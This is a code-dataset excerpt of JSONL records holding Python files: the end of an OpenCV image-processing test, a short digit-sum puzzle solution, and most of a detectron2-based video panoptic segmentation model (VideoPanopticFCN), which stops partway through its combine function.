cv2.imshow('erode', erode)\n# cv2.imshow('dilate', dilate)\n# cv2.imshow('diff', diff)\n\n# cv2.imshow('canny', canny)\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"Sapphire0912/Programming","sub_path":"Python/Project/embedded final project/reflective_test.py","file_name":"reflective_test.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42998806862","text":"# coding=utf-8\n\n\nclass Solution:\n\n def solution(self, n):\n res = '1' + '0' * n\n\n res = int(res, 2)\n\n sum = 0\n while res:\n sum += res % 10\n res //= 10\n\n return sum\n\n def help(self, x, n):\n if n == 0:\n return 1\n if n & 1:\n return x * self.help(x, n - 1)\n return self.help(x * x, n // 2)\n\n\nif __name__ == '__main__':\n s = Solution()\n print(s.solution(1000))\n","repo_name":"ooooo-youwillsee/wechat-data-structures-and-algorithms","sub_path":"1-50/14/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27300892289","text":"import torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nfrom detectron2.data import MetadataCatalog\nfrom detectron2.structures import ImageList, Instances, BitMasks\nfrom detectron2.modeling.meta_arch.build import META_ARCH_REGISTRY\n\nfrom .gt_generate import GenerateGT\nfrom .v_gt_generate import VideoGenerateGT\nfrom .loss import sigmoid_focal_loss, weighted_dice_loss\nfrom .head import build_position_head, build_kernel_head, build_feature_encoder, build_thing_generator_video, build_stuff_generator_video, ClipFuseHead\nfrom .backbone_utils import build_semanticfpn, build_backbone\nfrom .utils import topk_score, multi_apply\nfrom .data.dataset_mappers.utils import Video_BitMasks\n__all__ = [\"VideoPanopticFCN\"]\n\n@META_ARCH_REGISTRY.register()\nclass VideoPanopticFCN(nn.Module):\n \"\"\"\n Implement PanopticFCN the paper :paper:`Fully Convolutional Networks for Panoptic Segmentation`.\n \"\"\"\n def __init__(self, cfg):\n super().__init__()\n \n self.device = torch.device(cfg.MODEL.DEVICE)\n # parameters\n self.cfg = cfg\n self.ignore_val = cfg.MODEL.IGNORE_VALUE\n self.common_stride = cfg.MODEL.SEMANTIC_FPN.COMMON_STRIDE\n\n self.meta = MetadataCatalog.get(cfg.DATASETS.TRAIN[0])\n\n self.center_top_num = cfg.MODEL.POSITION_HEAD.THING.TOP_NUM\n self.weighted_num = cfg.MODEL.POSITION_HEAD.THING.POS_NUM\n self.center_thres = cfg.MODEL.POSITION_HEAD.THING.THRES\n self.sem_thres = cfg.MODEL.POSITION_HEAD.STUFF.THRES\n self.sem_classes = cfg.MODEL.POSITION_HEAD.STUFF.NUM_CLASSES\n self.sem_with_thing = cfg.MODEL.POSITION_HEAD.STUFF.WITH_THING\n self.in_feature = cfg.MODEL.FEATURE_ENCODER.IN_FEATURES\n self.inst_scale = cfg.MODEL.KERNEL_HEAD.INSTANCE_SCALES\n\n self.pos_weight = cfg.MODEL.LOSS_WEIGHT.POSITION\n self.seg_weight = cfg.MODEL.LOSS_WEIGHT.SEGMENT\n self.focal_loss_alpha = cfg.MODEL.LOSS_WEIGHT.FOCAL_LOSS_ALPHA\n self.focal_loss_gamma = cfg.MODEL.LOSS_WEIGHT.FOCAL_LOSS_GAMMA\n \n self.inst_thres = cfg.MODEL.INFERENCE.INST_THRES\n self.panoptic_combine = cfg.MODEL.INFERENCE.COMBINE.ENABLE\n self.panoptic_overlap_thrs = cfg.MODEL.INFERENCE.COMBINE.OVERLAP_THRESH\n self.panoptic_stuff_limit = cfg.MODEL.INFERENCE.COMBINE.STUFF_AREA_LIMIT\n self.panoptic_inst_thrs = cfg.MODEL.INFERENCE.COMBINE.INST_THRESH\n self.train_clipnum = cfg.MODEL.TRAIN_CLIPNUM\n dilations = cfg.MODEL.DILATIONS\n self.shuffle_times = cfg.INPUT.TRAIN_SHUFFLE_TIMES\n \n # backbone\n self.backbone = build_backbone(cfg)\n self.semantic_fpn = build_semanticfpn(cfg, self.backbone.output_shape())\n self.position_head = build_position_head(cfg)\n self.kernel_head = build_kernel_head(cfg)\n self.feature_encoder = build_feature_encoder(cfg)\n self.thing_generator = build_thing_generator_video(cfg)\n self.stuff_generator = build_stuff_generator_video(cfg)\n self.get_ground_truth = VideoGenerateGT(cfg)\n\n if cfg.MODEL.USE_CLIPFUSE:\n self.clip_fuse_head = ClipFuseHead(cfg=cfg,in_dim = cfg.MODEL.KERNEL_HEAD.CONVS_DIM,out_dim = cfg.MODEL.KERNEL_HEAD.CONVS_DIM//4,clip_num = self.train_clipnum,dilations = dilations,in_features = self.in_feature)\n\n pixel_mean = torch.Tensor(cfg.MODEL.PIXEL_MEAN).to(self.device).view(1,3, 1, 1)\n pixel_std = torch.Tensor(cfg.MODEL.PIXEL_STD).to(self.device).view(1,3, 1, 1)\n self.normalizer = lambda x: (x - pixel_mean) / pixel_std\n\n self.to(self.device)\n\n def forward(self, batched_inputs):\n \"\"\"\n Args:\n batched_inputs: a list, batched outputs of :class:`DatasetMapper` .\n Each item in the list contains the inputs for one image.\n\n For now, each item in the list is a dict that contains:\n * \"image\": Tensor, image in (C, H, W) format.\n * \"instances\": Instances\n * \"sem_seg\": semantic segmentation ground truth.\n * Other information that's included in the original dicts, such as:\n \"height\", \"width\" (int): the output resolution of the model, used in inference.\n\n Returns:\n list[dict]:\n each dict is the results for one image. The dict contains the following keys:\n * \"instances\": Instances results.\n * \"sem_seg\": Semantic Segmentation results.\n * \"panoptic_seg\": available when `MODEL.INFERENCE.COMBINE.ENABLE`.\n See the return value of\n :func:`combine_thing_and_stuff` for its format.\n \"\"\"\n images = [x[\"video_images\"].to(self.device) for x in batched_inputs]\n images = [self.normalizer(x) for x in images]\n images = ImageList.from_tensors(images, self.backbone.size_divisibility)\n N, T, _, H, W = images.tensor.size()\n\n images_input = images.tensor.reshape(N*T,-1,H,W)\n\n features = self.backbone(images_input)\n\n #print(images.tensor.size())\n #print(features.keys())\n \n encode_feat = self.semantic_fpn(features)\n encode_feat = self.feature_encoder(encode_feat)\n #print(encode_feat.size())\n #for k,v in features.items():\n # print(k)\n # print(v.size())\n if self.cfg.MODEL.USE_CLIPFUSE:\n features = self.clip_fuse_head(features,self.in_feature,T)\n #for k,v in features.items():\n # print(k)\n # print(v.size())\n \n #exit()\n \n features_in = [features[_feat] for _feat in self.in_feature]\n pred_centers, pred_regions, pred_weights = multi_apply(self.forward_single_level, features_in)\n\n if self.training:\n gt_dict = self.get_ground_truth.generate(batched_inputs, images, pred_weights, encode_feat, T)\n return self.losses(pred_centers, pred_regions, pred_weights, encode_feat, gt_dict,T,self.shuffle_times)\n else:\n return self.inference(batched_inputs, images, pred_centers, pred_regions, pred_weights, encode_feat,T)\n\n def forward_single_level(self, feature):\n pred_center, pred_region = self.position_head(feature)\n pred_weight = self.kernel_head(feature)\n #print(pred_center.size())\n #print(pred_region.size())\n #print(pred_weight.size())\n #exit()\n\n return pred_center, pred_region, pred_weight\n\n def losses(self, pred_centers, pred_regions, pred_weights, encode_feat, gt_dict,frame_num,shuffle_times):\n \"\"\"\n Calculate losses of prediction with generated gt dict.\n\n Args:\n pred_centers: prediction for object centers\n pred_regions: prediction for stuff regions\n pred_weights: generated kernel weights for things and stuff\n encode_feat: encoded high-resolution feature\n gt_dict(dict): a dict contains all information of gt\n gt_dict = {\n \"center\": gt gaussian scoremap for things,\n \"inst\": gt instance target for things,\n \"index\": gt index for things,\n \"index_mask\": gt index mask for things,\n \"class\": gt classes for things,\n \"sem_scores\": gt semantic score map for stuff,\n \"sem_labels\":gt semantic target for stuff,\n \"sem_index\": gt index for stuff,\n \"sem_masks\": gt index mask for stuff,\n }\n\n Returns:\n loss(dict): a dict contains all information of loss function\n loss = {\n \"loss_pos_th\": position loss for things,\n \"loss_pos_st\": position loss for stuff,\n \"loss_seg_th\": segmentation loss for things,\n \"loss_seg_st\": segmentation loss for stuff,\n }\n \"\"\"\n feat_shape = encode_feat.shape\n encode_feat = encode_feat.reshape(*feat_shape[:2], -1)\n frame_nums = []\n for ii in range(len(pred_centers)):\n frame_nums.append(frame_num)\n \n loss_pos_ths, loss_pos_sts, idx_feat_th, weighted_values, idx_feat_st, thing_nums, stuff_nums = \\\n multi_apply(self.loss_single_level, pred_centers,\n pred_regions, pred_weights,\n gt_dict[\"center\"], gt_dict[\"inst\"], \n gt_dict[\"index_mask\"], gt_dict[\"class\"], \n gt_dict[\"sem_scores\"], gt_dict[\"sem_masks\"], \n gt_dict[\"sem_index\"],frame_nums)\n\n #print(thing_nums)\n #print(stuff_nums)\n #exit()\n #print(idx_feat_th[0].size())\n #print(idx_feat_th[1].size())\n #print(idx_feat_th[2].size())\n #print(idx_feat_th[3].size())\n #print(idx_feat_th[4].size())\n\n thing_num = sum(thing_nums)\n stuff_num = sum(stuff_nums)\n idx_feat_th = torch.cat(idx_feat_th, dim=2)\n weighted_values = torch.cat(weighted_values, dim=1)\n idx_feat_st = torch.cat(idx_feat_st, dim=1)\n idx_feat_st = idx_feat_st.reshape(-1, *idx_feat_st.shape[2:])\n\n #print(encode_feat.size())\n #print(feat_shape)\n #print(thing_num)\n #print(stuff_num)\n #exit()\n thing_gt_idx = [_gt[:,:thing_nums[_idx],:] for _idx, _gt in enumerate(gt_dict[\"index_mask\"])]\n thing_gt_idx = torch.cat(thing_gt_idx, dim=1)\n \n\n thing_preds, _, contrastive_loss = self.thing_generator(encode_feat, feat_shape, idx_feat_th, thing_num,thing_gt_idx,shuffle_times,cfg=self.cfg)\n stuff_pred, _ = self.stuff_generator(encode_feat, feat_shape, idx_feat_st, stuff_num)\n \n #print(stuff_pred.size())\n #exit()\n # for thing\n \n\n b_n,_,f_num = thing_gt_idx.size()\n thing_gt_idx = thing_gt_idx.permute(0,2,1).reshape(b_n*f_num,-1) \n thing_gt_idx = thing_gt_idx.reshape(-1).bool()\n thing_gt_num = int(thing_gt_idx.sum())\n #print(gt_dict[\"inst\"][0].size())\n thing_gt = [_gt[:,:thing_nums[_idx],...] for _idx, _gt in enumerate(gt_dict[\"inst\"])]\n #print(thing_gt[0].size())\n thing_gt = torch.cat(thing_gt, dim=1)\n #print(thing_gt.size())\n thing_gt = thing_gt.permute(0,2,1,3,4).reshape(b_n*f_num,-1,*thing_gt.size()[-2:])\n #print(thing_gt.size())\n #print(thing_pred.size())\n #exit()\n loss_things = []\n for thing_pred in thing_preds:\n loss_thing = weighted_dice_loss(thing_pred, thing_gt, \n gt_num=thing_gt_num,\n index_mask=thing_gt_idx,\n instance_num=thing_num,\n weighted_val=weighted_values,\n weighted_num=self.weighted_num,\n mode=\"thing\",\n reduction=\"sum\") \n loss_things.append(loss_thing)\n # for stuff\n\n loss_things = sum(loss_things)/len(loss_things)\n\n stuff_gt_idx = [_gt[:,:stuff_nums[_idx]] for _idx, _gt in enumerate(gt_dict[\"sem_index\"])]\n stuff_gt_idx = torch.cat(stuff_gt_idx, dim=1)\n stuff_gt_idx = stuff_gt_idx.permute(0,2,1).reshape(b_n*f_num,-1) \n stuff_gt_idx = stuff_gt_idx.reshape(-1).bool()\n stuff_gt_num = int(stuff_gt_idx.sum())\n \n stuff_gt = [_gt[:,:stuff_nums[_idx],...] for _idx, _gt in enumerate(gt_dict[\"sem_labels\"])]\n stuff_gt = torch.cat(stuff_gt, dim=1)\n stuff_gt = stuff_gt.permute(0,2,1,3,4).reshape(b_n*f_num,-1,*stuff_gt.size()[-2:])\n loss_stuff = weighted_dice_loss(stuff_pred, stuff_gt, \n gt_num=stuff_gt_num,\n index_mask=stuff_gt_idx,\n instance_num=stuff_num,\n weighted_val=1.0,\n weighted_num=1,\n mode=\"stuff\",\n reduction=\"sum\")\n\n loss = {}\n # position loss\n loss[\"loss_pos_th\"] = self.pos_weight * sum(loss_pos_ths) / max(thing_gt_num, 1)\n loss[\"loss_pos_st\"] = self.pos_weight * sum(loss_pos_sts) / max(feat_shape[0],1)\n # segmentation loss\n loss[\"loss_seg_th\"] = self.seg_weight * loss_things / max(thing_gt_num, 1)\n loss[\"loss_seg_st\"] = self.seg_weight * loss_stuff / max(stuff_gt_num, 1)\n\n if isinstance(contrastive_loss,torch.Tensor):\n loss['contrastive_loss'] =contrastive_loss*0.1\n else:\n loss['contrastive_loss'] =torch.zeros(1).to(loss_thing.device)\n return loss\n\n def loss_single_level(self, pred_center, pred_region, pred_weights, \\\n gt_center, gt_inst, gt_index_mask, gt_class, \\\n gt_sem_scores, gt_sem_masks, gt_sem_index,frame_num):\n \n# print(pred_center.size())\n# print(pred_region.size())\n# print(pred_weights.size())\n#\n# print(gt_center.size())\n# print(gt_inst.size())\n# print(gt_index_mask.size())\n# #print(gt_index_mask)\n# #print(gt_class)\n# print(gt_class.size())\n# print(gt_sem_scores.size())\n# print(gt_sem_masks.size())\n# print(gt_sem_index.size())\n\n \n b_n,_,f_num,h_,w_ = gt_center.size()\n assert f_num == frame_num\n gt_center = gt_center.permute(0,2,1,3,4).reshape(b_n*f_num,-1,h_,w_)\n\n b_n,_,f_num,h_,w_ = gt_sem_scores.size()\n gt_sem_scores = gt_sem_scores.permute(0,2,1,3,4).reshape(b_n*f_num,-1,h_,w_)\n # position loss for things\n loss_pos_th = sigmoid_focal_loss(pred_center, gt_center,\n mode=\"thing\",\n alpha=self.focal_loss_alpha,\n gamma=self.focal_loss_gamma,\n reduction=\"sum\")\n # position loss for stuff\n loss_pos_st = sigmoid_focal_loss(pred_region, gt_sem_scores,\n mode=\"stuff\",\n alpha=self.focal_loss_alpha,\n gamma=self.focal_loss_gamma,\n reduction=\"sum\")\n# print(loss_pos_th)\n# print(loss_pos_st)\n# exit()\n # generate guided center\n batch_num, _, feat_h, feat_w = pred_center.shape\n# print(gt_inst.size())\n# print(torch.unique(gt_inst))\n# exit()\n b_n,_,f_num,h_,w_ = gt_inst.size()\n\n assert batch_num ==b_n*f_num\n gt_inst = gt_inst.permute(0,2,1,3,4).reshape(b_n*f_num,-1,h_,w_)\n\n guided_inst = F.interpolate(gt_inst, size=(feat_h, feat_w), mode='bilinear', align_corners=False)\n\n guided_inst = guided_inst.reshape(b_n,f_num,-1,feat_h,feat_w).permute(0,2,1,3,4)\n \n guidence = torch.zeros_like(guided_inst)\n pred_select = []\n pred_center = pred_center.reshape(b_n,f_num,-1,feat_h,feat_w).permute(0,2,1,3,4)\n for _idx in range(b_n):\n sub_pred = pred_center[_idx]\n sub_class = gt_class[_idx].to(torch.int64)\n \n sub_select = torch.index_select(sub_pred, dim=0, index=sub_class)\n pred_select.append(sub_select.sigmoid())\n \n \n\n \n pred_select = torch.stack(pred_select, dim=0)\n\n #print(pred_select.size())\n #print(guided_inst.size())\n #exit()\n keep = (guided_inst > 0.1) & (guided_inst < 255)\n guidence[keep] = pred_select[keep]\n\n weighted_values, guided_index = torch.topk(guidence.reshape(*guided_inst.shape[:3], -1), \n k=self.weighted_num, dim=-1)\n\n thing_num = int(max(gt_index_mask.max(2)[0].sum(dim=1).max(), 1))\n guided_index = guided_index[:,:thing_num,:, :]\n \n guided_index = guided_index.permute(0,2,1,3).reshape(batch_num, -1)\n weighted_values = weighted_values[:,:thing_num, :,:]\n # pred instance\n\n# _,_,h_,w_ = pred_weights.size()\n# pred_weights = pred_weights.reshape(b_n,frame_num,-1,h_,w_).permute(0,2,1,3,4)\n weight_shape = pred_weights.shape\n\n #print(weighted_values)\n #print(guided_index)\n \n inst_w = pred_weights.reshape(*weight_shape[:2], -1)\n idx_inst = guided_index.unsqueeze(1).expand(*weight_shape[:2], -1)\n\n #print(idx_inst)\n\n idx_feat_th = torch.gather(inst_w, dim=2, index=idx_inst)\n idx_feat_th = idx_feat_th.reshape(*weight_shape[:2], thing_num, self.weighted_num)\n\n #print(idx_feat_th.size())\n #print('*'*100)\n # generate guided sem\n\n #print(gt_sem_index.size())\n #exit()\n stuff_num = int(max(gt_sem_index.max(2)[0].sum(dim=1).max(), 1))\n gt_sem_masks = gt_sem_masks[:, :stuff_num]\n b_n,_,f_num,h_,w_ = gt_sem_masks.size()\n gt_sem_masks = gt_sem_masks.permute(0,2,1,3,4).reshape(b_n*f_num,-1,h_,w_)\n gt_sem_masks = gt_sem_masks.unsqueeze(2)\n idx_feat_st = gt_sem_masks * pred_weights.unsqueeze(1)\n idx_feat_st = idx_feat_st.reshape(-1, *weight_shape[-3:])\n idx_feat_st = F.adaptive_avg_pool2d(idx_feat_st, output_size=1)\n idx_feat_st = idx_feat_st.reshape(batch_num, -1, weight_shape[1], 1, 1)\n\n return loss_pos_th, loss_pos_st, idx_feat_th, weighted_values, idx_feat_st, thing_num, stuff_num\n\n @torch.no_grad()\n def inference_single_level(self, pred_center, pred_region, pred_weights, pool_size):\n # pred things\n pred_center = pred_center.sigmoid()\n center_pool = F.avg_pool2d(pred_center, kernel_size=pool_size, \n stride=1, padding=(pool_size-1)//2)\n pred_center = (pred_center + center_pool) / 2.0\n fmap_max = F.max_pool2d(pred_center, 3, stride=1, padding=1)\n keep = (fmap_max == pred_center).float()\n pred_center *= keep\n\n #print(keep.size())\n# print(pred_center.size())\n weight_shape = pred_weights.shape\n center_shape = pred_center.shape\n top_num = min(center_shape[-2]*center_shape[-1], self.center_top_num//2)\n\n sub_score, sub_index, sub_class, ys, xs = \\\n topk_score(pred_center, K=top_num, score_shape=center_shape)\n\n\n idx_feat_ths, class_ths, score_ths = [], [], []\n thing_nums = []\n for frame_idx, (sub_score_,sub_index_,sub_class_,pred_weights_) in enumerate(zip(sub_score,sub_index,sub_class,pred_weights)):\n sub_score_ = sub_score_.unsqueeze(0)\n sub_index_ = sub_index_.unsqueeze(0)\n sub_class_ = sub_class_.unsqueeze(0)\n pred_weights_ = pred_weights_.unsqueeze(0)\n \n keep = sub_score_ > self.center_thres\n score_th = sub_score_[keep]\n class_th = sub_class_[keep]\n index = sub_index_[keep]\n \n index = index.unsqueeze(0).to(device=self.device, dtype=torch.long)\n thing_num = keep.sum()\n\n thing_nums.append(thing_num)\n if thing_num > 0:\n inst_w = pred_weights_.reshape(*pred_weights_.shape[:2], -1)\n idx_inst = index.unsqueeze(1).expand(*pred_weights_.shape[:2], -1)\n idx_feat_th = torch.gather(inst_w, dim=2, index=idx_inst)\n idx_feat_th = idx_feat_th.unsqueeze(-1)\n idx_feat_ths.append(idx_feat_th)\n class_ths.append(class_th)\n score_ths.append(score_th)\n# else:\n# idx_feat_th, class_th, score_th = [], [], []\n if len(idx_feat_ths)>0:\n idx_feat_ths = torch.cat(idx_feat_ths,2)\n class_ths = torch.cat(class_ths, 0)\n score_ths = torch.cat(score_ths,0)\n thing_nums = sum(thing_nums)\n # print(idx_feat_ths.size())\n # print(class_ths.size())\n # print(score_ths.size())\n #exit()\n \n \n # pred stuff\n pred_region = pred_region.sigmoid()\n\n\n b_n,_,h_,w_ = pred_region.size()\n pred_region = pred_region.permute(1,0,2,3).reshape(_,b_n*h_,w_).unsqueeze(0)\n pred_cate = pred_region.argmax(dim=1)\n\n class_st, num_class_st = torch.unique(pred_cate, return_counts=True)\n pred_st_mask = F.one_hot(pred_cate, num_classes=self.sem_classes)\n pred_st_mask = pred_st_mask.permute(0, 3, 1, 2).contiguous()\n\n\n score_st = (pred_region * pred_st_mask).reshape(1, self.sem_classes, -1)\n\n\n score_st = (score_st.sum(dim=-1)[:, class_st] / num_class_st).squeeze(0)\n pred_st_mask = pred_st_mask[:, class_st]\n keep = score_st > self.sem_thres\n stuff_num = keep.sum()\n score_st = score_st[keep]\n class_st = class_st[keep]\n pred_st_mask = pred_st_mask[:, keep]\n\n #exit()\n pred_st_mask = pred_st_mask.unsqueeze(2)\n\n b_n,_,h_,w_ = pred_weights.size()\n pred_weights_stuff = pred_weights.permute(1,0,2,3).reshape(_,b_n*h_,w_).unsqueeze(0)\n idx_feat_st = pred_st_mask * pred_weights_stuff.unsqueeze(1)\n idx_feat_st = idx_feat_st.reshape(-1, *pred_weights_stuff.shape[-3:])\n \n idx_feat_st = F.adaptive_avg_pool2d(idx_feat_st, output_size=1)\n if not self.sem_with_thing:\n class_st += 1\n\n \n return idx_feat_ths, class_ths, score_ths, thing_nums, idx_feat_st, score_st, class_st, stuff_num\n \n @torch.no_grad()\n def inference(self, batch_inputs, images, pred_centers_, pred_regions_, pred_weights_, encode_feats,frame_num):\n \"\"\"\n Panoptic FCN inference process.\n\n Args:\n batched_inputs: a list, batched outputs of :class:`DatasetMapper`\n image: ImageList in detectron2.structures\n pred_centers: prediction for object centers\n pred_regions: prediction for stuff regions\n pred_weights: generated kernel weights for things and stuff\n encode_feat: encoded high-resolution feature\n \n Returns:\n processed_results(dict): a dict contains all predicted results\n processed_results={\n \"sem_seg\": prediction of stuff for semantic segmentation eval, \n \"instances\": prediction of things for instance segmentation eval,\n \"panoptic_seg\": prediction of both for panoptic segmentation eval.\n }\n \"\"\"\n\n thing_ids_to_continue_dic = batch_inputs[0]['thing_ids_to_continue_dic']\n stuff_ids_to_continue_dic = batch_inputs[0]['stuff_ids_to_continue_dic']\n thing_cont_to_ids_dic = {}\n for k,v in thing_ids_to_continue_dic.items():\n thing_cont_to_ids_dic[v] = k \n\n stuff_cont_to_ids_dic = {}\n for k,v in stuff_ids_to_continue_dic.items():\n stuff_cont_to_ids_dic[v] = k \n\n result_img = batch_inputs[0]\n processed_results = []\n if \"instances\" in result_img.keys():\n img_shape = result_img[\"instances\"].image_size\n else:\n img_shape = result_img[\"video_images\"].shape[-2:]\n ori_shape = (result_img[\"height\"], result_img[\"width\"])\n\n \n\n\n # print(len(results))\n \n encode_feat = encode_feats\n \n feat_shape = encode_feat.shape\n encode_feat = encode_feat.reshape(*feat_shape[:2], -1)\n result_instance = None\n\n assert encode_feat.size(0) ==frame_num\n# print(pred_regions_[0].size())\n# exit()\n pred_regions = pred_regions_\n pred_weights = pred_weights_\n pred_centers = pred_centers_\n pool_size = [3,3,3,5,5]\n idx_feat_th, class_ths, score_ths, thing_num, idx_feat_st, score_sts, class_sts, stuff_num = \\\n multi_apply(self.inference_single_level, pred_centers,\\\n pred_regions, pred_weights, pool_size)\n \n# print(class_ths)\n# print(thing_num)\n #exit()\n thing_num = sum(thing_num)\n if thing_num == 0:\n result_instance = Instances(ori_shape, pred_masks=[], pred_boxes=[], \n pred_classes=[], scores=[])\n else:\n class_ths = [_class for _class in class_ths if len(_class)>0]\n score_ths = [_score for _score in score_ths if len(_score)>0]\n idx_feat_th = [_feat for _feat in idx_feat_th if len(_feat)>0]\n\n\n #print(class_ths)\n\n class_ths = torch.cat(class_ths, dim=0)\n score_ths = torch.cat(score_ths, dim=0)\n idx_feat_th = torch.cat(idx_feat_th, dim=2)\n\n\n #print(class_ths)\n #print(class_ths.size())\n \n #print(idx_feat_th.size())\n\n keep = torch.argsort(score_ths, descending=True)\n #print(keep)\n #print(keep.size())\n idx_feat_th = idx_feat_th[:,:,keep]\n score_ths = score_ths[keep]\n class_ths = class_ths[keep]\n #print(idx_feat_th.size())\n #print(score_ths.size())\n #print(class_ths.size())\n #exit()\n\n stuff_num = sum(stuff_num)\n if stuff_num == 0:\n class_sts, idx_feat_st, score_sts = [], [], []\n else:\n score_sts = [_score for _score in score_sts if len(_score)>0]\n class_sts = [_cate_sem for _cate_sem in class_sts if len(_cate_sem)>0]\n idx_feat_st = [_feat for _feat in idx_feat_st if len(_feat)>0]\n score_sts = torch.cat(score_sts, dim=0)\n class_sts = torch.cat(class_sts, dim=0)\n idx_feat_st = torch.cat(idx_feat_st, dim=0)\n\n pred_thing, [class_ths, score_ths,thing_id_embs] = self.thing_generator(encode_feat, feat_shape, idx_feat_th, thing_num, pred_cate=class_ths, pred_score=score_ths)\n pred_stuff, [class_sts, score_sts] = self.stuff_generator(encode_feat, feat_shape, idx_feat_st, stuff_num, class_sts, score_sts)\n pred_stuff = pred_stuff.sigmoid()\n \n# print(class_ths.size())\n# print(score_ths.size())\n# print(thing_id_embs.size())\n if result_instance is None:\n result_instance, pred_mask, class_ths, score_ths,thing_id_embs = self.process_inst(\n class_ths, score_ths, pred_thing, img_shape, ori_shape,thing_id_embs) \n# print('*'*100)\n# print(class_ths.size())\n# print(score_ths.size())\n# print(thing_id_embs.size())\n# exit()\n else:\n pred_mask, class_ths, score_ths,thing_id_embs = None, None, None,None\n if self.sem_with_thing:\n sem_classes = self.sem_classes\n else:\n sem_classes = self.sem_classes + 1\n\n pred_stuff = F.interpolate(pred_stuff, scale_factor=self.common_stride, mode=\"bilinear\", \n align_corners=False)[...,:img_shape[0],:img_shape[1]]\n pred_stuff = F.interpolate(pred_stuff, size=ori_shape, mode=\"bilinear\", align_corners=False)\n pred_sem_seg = torch.zeros(pred_stuff.size(0),sem_classes, *pred_stuff.shape[-2:], device=self.device)\n\n# print(pred_mask.size())\n# print(class_ths.size())\n# print(score_ths.size())\n# print(pred_stuff.size())\n# exit()\n#\n# print(class_sts.size())\n# exit()\n pred_sem_seg[:,class_sts] += pred_stuff\n\n\n\n# processed_results.append({\"sem_seg\": pred_sem_seg, \"instances\": result_instance})\n\n if self.panoptic_combine:\n _,_,result_panoptic,dic_cat_idemb = self.combine_thing_and_stuff(\n [pred_mask, class_ths, score_ths,thing_id_embs],\n pred_sem_seg.argmax(dim=1),\n self.panoptic_overlap_thrs,\n self.panoptic_stuff_limit,\n self.panoptic_inst_thrs,\n thing_cont_to_ids_dic,\n stuff_cont_to_ids_dic,\n )\n #print(result_panoptic.size())\n #exit()\n# processed_results.append(result_panoptic.unsqueeze(0))\n\n# processed_results = torch.stack(processed_results)\n# print(processed_results.size())\n# exit()\n return result_panoptic,dic_cat_idemb\n\n @torch.no_grad()\n def process_inst(self, classes, scores, pred_inst, img_shape, ori_shape,thing_id_embs):\n \"\"\"\n Simple process generate prediction of Things.\n\n Args:\n classes: predicted classes of Things\n scores: predicted scores of Things\n pred_inst: predicted instances of Things\n img_shape: input image shape\n ori_shape: original image shape\n \n Returns:\n result_instance: preserved results for Things\n pred_mask: preserved binary masks for Things\n classes: preserved object classes\n scores: processed object scores\n \"\"\"\n\n# print(pred_inst.size())\n# print(classes.size())\n# print(scores.size())\n# exit()\n f_num,ins_num,h_,w_ = pred_inst.size()\n pred_inst = pred_inst.permute(1,0,2,3).reshape(1,ins_num,f_num*h_,w_) \n \n pred_inst = pred_inst.sigmoid()[0]\n pred_mask = pred_inst > self.inst_thres\n # object rescore.\n sum_masks = pred_mask.sum((1, 2)).float() + 1e-6\n seg_score = (pred_inst * pred_mask.float()).sum((1, 2)) / sum_masks\n scores *= seg_score\n\n keep = torch.argsort(scores, descending=True)\n pred_inst = pred_inst[keep]\n pred_mask = pred_mask[keep]\n scores = scores[keep]\n classes = classes[keep]\n sum_masks = sum_masks[keep]\n thing_id_embs = thing_id_embs[keep]\n \n # object score filter.\n keep = scores >= 0.05\n if keep.sum() == 0:\n result_instance = Instances(ori_shape, pred_masks=[], pred_boxes=[], \n pred_classes=[], scores=[])\n \n pred_mask = pred_mask.reshape(-1,f_num,h_,w_).permute(1,0,2,3) \n return result_instance, pred_mask, None, None,None\n pred_inst = pred_inst[keep]\n scores = scores[keep]\n classes = classes[keep]\n thing_id_embs = thing_id_embs[keep]\n\n # sort and keep top_k\n keep = torch.argsort(scores, descending=True)\n keep = keep[:self.center_top_num]\n pred_inst = pred_inst[keep]\n scores = scores[keep].reshape(-1)\n classes = classes[keep].reshape(-1).to(torch.int32)\n thing_id_embs = thing_id_embs[keep]\n pred_inst = pred_inst.reshape(-1,f_num,h_,w_).permute(1,0,2,3)\n pred_inst = F.interpolate(pred_inst, \n scale_factor=self.common_stride, \n mode=\"bilinear\", \n align_corners=False)[...,:img_shape[0],:img_shape[1]]\n pred_inst = F.interpolate(pred_inst, \n size=ori_shape, \n mode=\"bilinear\", \n align_corners=False)\n\n pred_mask = pred_inst > self.inst_thres\n pred_bitinst = Video_BitMasks(pred_mask.permute(1,0,2,3))\n result_instance = Instances(ori_shape,\n pred_masks=pred_bitinst,\n # pred_boxes=pred_bitinst.get_bounding_boxes(),\n pred_classes=classes,\n scores=scores)\n return result_instance, pred_mask, classes, scores,thing_id_embs\n\n @torch.no_grad()\n def combine_thing_and_stuff(\n self,\n thing_results,\n stuff_results,\n overlap_threshold,\n stuff_area_limit,\n inst_threshold,\n thing_cont_to_ids_dic,\n stuff_cont_to_ids_dic,\n ):\n \"\"\"\n Implement a simple combining logic following\n \"combine_semantic_and_instance_predictions.py\" in panopticapi\n to produce panoptic segmentation outputs.\n\n Args:\n thing_results: prediction of Things\n stuff_results: prediction of Stuff\n overlap_threshold: overlap threshold for Things combination\n stuff_area_limit: stuff area threshold for Stuff combination\n inst_threshold: instances confidence threshold\n\n Returns:\n panoptic_seg (Tensor): of shape (height, width) where the values are ids for each segment.\n segments_info (list[dict]): Describe each segment in `panoptic_seg`.\n Each dict contains keys \"id\", \"category_id\", \"isthing\".\n \"\"\"\n pred_thing, thing_cate, thing_score,thing_id_embs = thing_results\n\n\n panoptic_seg = torch.zeros_like(stuff_results, dtype=torch.int32)\n panoptic_seg_mask = torch.ones_like(stuff_results, dtype=torch.int32)*(-1)\n current_segment_id = 0\n segments_info = []\n\n dic_tmp = {}\n\n if thing_cate is not None:\n pred_thing = pred_thing.permute(1,0,2,3)\n keep = thing_score >= inst_threshold\n if keep.sum() > 0:\n pred_thing = pred_thing[keep]\n thing_cate = thing_cate[keep]\n thing_score = thing_score[keep]\n thing_id_embs = thing_id_embs[keep]\n # Add instances one-by-one, check for overlaps with existing ones\n for _idx, (_mask, _cate, _score,id_emb) in enumerate(zip(pred_thing, thing_cate, thing_score,thing_id_embs)):\n count=0\n for frame_idx in range(panoptic_seg.size(0)):\n _mask_ = _mask[frame_idx] \n mask_area = _mask_.sum().item()\n intersect 